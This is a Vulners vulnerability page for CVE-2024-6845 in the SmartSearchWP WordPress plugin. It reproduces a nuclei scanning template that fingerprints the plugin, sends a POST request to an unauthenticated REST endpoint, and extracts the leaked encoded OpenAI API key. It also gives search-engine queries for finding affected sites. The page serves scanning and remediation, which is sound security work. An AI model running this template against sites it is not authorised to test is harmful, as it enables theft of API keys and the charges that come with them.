Lucene search
K

SmartSearchWP < 2.4.6 - OpenAI Key Disclosure

🗓️ 05 Jul 2026 03:01:21Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 22 Views

SmartSearchWP < 2.4.6 - OpenAI Key Disclosure. Plugin lacks proper authorization in REST endpoint, exposing OpenAI API key

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2024-6845
25 Sep 202409:17
circl
CNNVD
WordPress plugin Chatbot with ChatGPT 安全漏洞
25 Sep 202400:00
cnnvd
CVE
CVE-2024-6845
25 Sep 202406:00
cve
Cvelist
CVE-2024-6845 SmartSearchWP < 2.4.6 - Unauthenticated OpenAI Key Disclosure
25 Sep 202406:00
cvelist
NVD
CVE-2024-6845
25 Sep 202406:15
nvd
OSV
CVE-2024-6845
25 Sep 202406:15
osv
Patchstack
WordPress SmartSearch WP Plugin < 2.4.6 is vulnerable to Sensitive Data Exposure
25 Sep 202400:00
patchstack
Patchstack
WordPress SmartSearchWP plugin < 2.4.6 - Unauthenticated OpenAI Key Disclosure vulnerability
25 Sep 202406:47
patchstack
Positive Technologies
PT-2024-37899
24 Sep 202400:00
ptsecurity
RedhatCVE
CVE-2024-6845
23 May 202508:26
redhatcve
Rows per page
id: CVE-2024-6845

info:
  name: SmartSearchWP < 2.4.6 - OpenAI Key Disclosure
  author: s4e-io
  severity: medium
  description: |
    The plugin does not have proper authorization in one of its REST endpoint, allowing unauthenticated users to retrieve the encoded key and then decode it, thereby leaking the OpenAI API key.
  impact: |
    Unauthenticated attackers can retrieve and decode the OpenAI API key through an unsecured REST endpoint, potentially incurring API usage costs and data exposure.
  remediation: |
    Update SmartSearchWP plugin to version 2.4.6 or later to address the API key disclosure vulnerability.
  reference:
    - https://wpscan.com/vulnerability/cfaaa843-d89e-42d4-90d9-988293499d26/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6845
  classification:
    cve-id: CVE-2024-6845
    cwe-id: CWE-862
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    epss-score: 0.01113
    epss-percentile: 0.62021
  metadata:
    max-request: 2
    verified: true
    vendor: webdigit
    product: smartsearchwp
    framework: wordpress
    publicwww-query: "/wp-content/plugins/smartsearchwp"
    fofa-query: body="/wp-content/plugins/smartsearchwp"
  tags: cve,cve2024,exposure,wp,wordpress,wp-plugin,smartsearchwp,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/wp-content/plugins/smartsearchwp")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-json/wdgpt/v1/api-key HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"key": "U2FsdGVkX1+X"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type,"application/json")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        part: body
        name: api-key
        regex:
          - '"([^"]+)"'
# digest: 4a0a004730450220478e976d52f941dae207785970bfc8feb386643ae4621d98908ae4ff5305679b022100ad7c34ea0961bed4766f101a3cf59ca65e4ef4e679364a5a9cd10701eaf44c09:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation